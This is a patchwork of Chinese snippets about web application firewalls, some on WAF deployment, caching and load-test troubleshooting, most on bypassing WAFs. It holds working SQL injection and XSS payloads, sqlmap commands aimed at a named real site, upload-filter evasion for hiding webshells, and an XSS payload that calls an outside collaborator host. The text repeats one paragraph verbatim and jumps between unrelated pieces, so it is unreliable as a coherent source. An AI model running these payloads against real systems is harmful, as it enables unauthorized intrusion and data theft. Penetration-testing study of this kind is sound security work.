WAF也是防火墙,那么它应该是部署在哪里呢?在部署上,它和传统防火墙有什么区别呢? 传统防火墙处理的消息格式大多是格式化,基本上内容都是固定或者索引方式。 而WAF处理的消息是文本,是非格式化消息,都是可变的。在处理这两种不同的消息格式,在性能上的消耗相差非常大。
成功找到一个sql注入 手工测试,发现有waf 此刻我们过一波waf 首先burp抓包 改成post型 ? ? 此刻是post型 复制出来 ? 到这里就差不多了 修复方式: 对get,post,cookie传递过来的值过滤对一些sql语句关键字过滤or and && select if () union from等再加个云waf
对于只看宏观文章,没有实战的演练,无疑是很好的案例。 三、具体实现 本次测试是以如下站点为例:http://www.ecgi.org/wp/wp_id.php? 50000SeLeCt/ 1,2 — - (温馨提示,有些waf可能会在攻击者较多测试过程中会封锁IP,建议使用代理不断更新自己的IP地址)。这里报错,说明已经bypass了。 ? id=213’ UnIoN%A0SeLeCT 1,2 — - 这里会报错,说明可以bypass。 但是在联合查询的时候,查询填充的列分割较多时,就会别waf拦截。 id=-213’ UnIoN%A0SeLeCT 1,2,3,4,5,~6-- - 这里依然被waf拦截。 ? 如图所示:oh shit….依然被waf拦截。 ? 接着分析绕过吧,通过手工测试,waf过滤的是小数点(.)。
狗没有拦截俩括号的,至于为什么没有信息,因为我这里没有对sql语句进行判断是否有语法错误,将字段数写上看看; 数字爆出来了 我这里有一张admin表,数据如下: 吧from加上吧:union ((select 1,2,3 from admin)) 成功被拦截 继续修改:/**/union/**/((select/**/1,2,3/**/from/**/admin/**/)) 试了半天====还好是过了=== 爆数据了: /**/union/**/((select/**/username,2,3/**/from/**/admin/**/)) 别闹===到这里我实在是绕不动了,在1,2,3这里只要出现字母就被拦截, 但是,
1、免责声明 本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途 2、内容速览 什么是WAF 定义 WAF部署在哪里 在测试的过程中我们要知道WAF一般主要是部署在那个节点,这对我们绕过WAF时有很大帮助。 实战常遇技巧 当你发现这些姿势都不好使的时候,你就该去发现一些新的特性了,毕竟设计WAF的选手都是基于目前的认知下去设计的,当新的特性出现的时候,势必又是一波bypass。 1.超长文件名 这个主要是对于waf检测文件后缀的时候起作用,利用超长的文件名,可以逃过文件后缀名的检测 2.上传内容使用垃圾字符 上传一个比较大的文件,将马子藏在其中 使用参数污染成功执行命令 简而言之 /form-data来判定这是个上传包,然后检测内容 这个方法,又能细分出很多来,而且屡试不爽,这里总结下我个人常用的 (1) 删掉content-type (2) 构造多个filename (3)content-type
从回包的状态码403和Server值可以判断是被Waf拦截了。 那么这时如果我们想要绕Waf的话,就要去思考它对应的正则匹配的规则可能存在的情况了: 1.匹配script 2.匹配alert 3.匹配<.*? 探测规则2 既然可以构造img标签,那也拿img的XSS Payload浅测一下: 好了,又被拦了。 那就再简单猜测一下对应的Waf规则吧: 1.匹配onerror= 2.匹配alert(.*?) 3.匹配on.*?=alert(.*?) 4.匹配on.*?=.*?alert(.*?) 也无需测试都会被Waf拦截。
id=26-p id --tamper=space2comment,equaltolike,between --current-db --random-agent 检测显示存在 WAF: 不管它,让它继续检测
可以看到被 WAF 拦截。 0x02 WAF 绕过 在这个点上测试了一天都没能绕过,在以为专注 WAF 绕过研究的大神帮助下,发现一个可用的 Payload,长下面的样子: []["\146\151\154\164\145\162 API 结合 burp 来进行漏洞利用的验证,将下面的 payload 进行转换: var req = new XMLHttpRequest(); req.open(“GET”, “https://s2v3f4nqrlg0kl5f2a0zggd37udl1a.burpcollaborator.net 总结 以上是这次针对存在 waf 的 xss 漏洞接口的绕过测试过程,通过一些 JavaScript 的特性,通过字符串变化、编码等方式组合 payload 从而实现 waf 的绕过,waf 通常是通过正则来进行检测和拦截 ,如果你找到了目标 waf 规则之外的方式,那么,恭喜你,waf 对你无用。
91.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,定位是WAF的问题。 从CLB压过去没有任何问题,但是经过WAF之后,出现掉坑现象,所以一开始就怀疑是WAF限频问题,询问了WAF的同学是不是触发了什么策略。 92.png WAF的同学查看告警模块,发现触发了ipset封堵策略。 19:30:20开始出现掉坑 ,然后出现WAF ipset封堵策略告警,时间是刚好对应的上。 93.png 让WAF的同学对其加白,问题得以解决。 95.png 【总结】 首先要确定压测链路是什么。 一步一步缩小压测环节,快速定位问题。 然后根据波形图进行合理猜测。
一般站点都在webserver前面加上waf,统一管理站点所有域名的防护。 如果这个cache是在waf上实现,可以有这样的优势: 降低运维成本,可以统一对所有站点进行网页防篡改。 提高站点响应速度,由于请求到waf直接可以收到响应,不需要在后面webserver了。 那么waf上的cache是如何同步呢?一般同步会有三种方式: 请求触发。 waf定时对所有域名统一同步,或者定时对每个域名同步,或者对单个域名单个路径同步。 操作同步。运维人员对某个域名配置网页防篡改,waf对该域名同步。
WAF全称叫Web Application Firewall,和传统防火墙的区别是,它是工作在应用层的防火墙,主要对web请求/响应进行防护。那么WAF有什么功能呢? 防火墙都是防御性的产品,有防就有攻,要了解WAF有什么功能,就要从攻击者的角度去思考。 攻击的目的要么是为了利益,要么是为了炫技。目前攻击者大多都是闷声发大财,很少会为了炫技而惹上麻烦。
摘要 本文深入解析SQL注入攻击的原理与危害,结合腾讯云Web应用防火墙(WAF)的核心能力,提供从基础防护到高级防御的完整解决方案。 腾讯云WAF凭借AI+规则双引擎、全量日志分析和30线BGP防护等特性,成为拦截SQL注入的标杆方案。 参数注入:在登录表单注入' OR 1=1 --绕过认证 盲注攻击:通过响应延迟判断数据库类型(如IF(SLEEP(5),1,0)) 二阶注入:存储恶意数据至数据库,后续请求触发执行 2. 每周同步全球威胁情报,覆盖OWASP Top10最新变种 0day漏洞应急响应: 7×24小时漏洞监测,24小时内下发虚拟补丁(如Log4j漏洞应急) 支持自定义规则快速封堵新型攻击特征 2. **智能CC防护** - 基于机器学习识别扫描器流量 - 支持动态令牌验证阻断自动化攻击 2.
超大数据包绕过 绕过原理 资源限制:WAF长度资源限制 假如HTTP请求POST BODY太大,检测所有内容,WAF集群消耗太多的CPU、内存资源。因此许多WAF只检测前面的2M或4M的内容。 对于攻击者而言,只需要在POST BODY前面添加许多无用的数据,把攻击的payload放在最后即可绕过WAF检测。 ,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间可以存在特殊字符,或者遗漏可以存在特殊字符。 所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。 [User]/**/where id=1 那么意味着在注释符中可以添加大量的无效字符来打破WAF的规则匹配。
38.png 39.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,排除了 40.png 找了运维同学查看WAF设置,发现QPS被限制在10万左右,需要升级套餐。 41.png 把QPS套餐升级到23.5万,问题得以解决。 2.一步一步缩小压测环节,快速定位问题。 3.然后根据波形图进行合理猜测。
过WAF(针对云WAF) 寻找真实IP(源站)绕过 如果流量都没有经过WAF,WAF当然无法拦截攻击请求。 如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。 ALL 或者 DISTINCT 绕过 去掉重复值 select 1,2 from users where user_id=1 union DISTINCT select 1,2 select 1,2 from users where user_id=1 union select DISTINCT 1,2 显示全部 select 1,2 from users where user_id=1 union all select 1,2 select 1,2 from users where user_id=1 union select all 1, 大小写绕过 常用于 waf的正则对大小写不敏感的情况
aaaa%01bbs*/select #Level-2 union/*aaaaaaaaaaaaaaaaaaaaaaaa*/select #Level-3 /*! 空白符 %09,%0A,%0B,%0D,%20 #正则的空白符 union%250Cselect #Example-1 (%25=% %0c=空白符) union%25A0select #Example-2 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9.0 利用 error-bases进行 SQL 注入(err0r-bases SQL 注入函数容易被忽略) extractvalue(1, concat MYSQL1nigth Oselect{x table_name}from{x information_schema.tables}; Fuzz绕过 上面的例子我相信你看到这篇文章时基本都失效了,那么如何在实战中找到突破
图片来源于网络 通过标题,您可能会知道这是有关使用UNICODE进行 XSS WAF绕过的文章。因此,让我们给你一个关于我正在测试的应用程序的小想法。 因此,存在WAF。 为了绕开它,我开始模糊测试,结果是: xss \" onclick= \" alert(1) ==> WAF xss \" xss = \" alert(1) ==> WAF xss 因此,我们唯一的方法是绕过WAF 在标记中使用事件属性。我尝试通过fuzzdb使用html-event-attributes.txt 进行暴力破解。 现在,因为这是一个POST请求,并且没有CSRF保护,所以我将CSRF + XSS = P2的存储型XSS链接到已认证的用户: ?
id=2" --batch 一片红!!! nice 再次访问IP已经被封掉了 ? id=2" --delay 0.2 --batch -D [库名] --tables 嗯??? nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? id=2" --delay 0.2 --batch -D [库名] --tables -v 3 可以看到第一次被拦截的payload ? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字
id=2" --batch 一片红!!! nice 再次访问IP已经被封掉了 ? id=2" --delay 0.2 --batch -D [库名] --tables 嗯??? nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? id=2" --delay 0.2 --batch -D [库名] --tables -v 3 可以看到第一次被拦截的payload ? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字
由于WAF一般和业务系统是串联的,并且还是部署在业务系统前面。如果采用反向代理部署模式,假设WAF出现故障,那么会导致单个或者多个站点不可用。这意味着WAF的功能必须是随时可以关闭的。 一个WAF往往需要同时防护多个站点,如果把整个WAF关闭,是会导致整体业务群都失去保护。所以,WAF的工作模式必须有对站点有随时关闭的模式。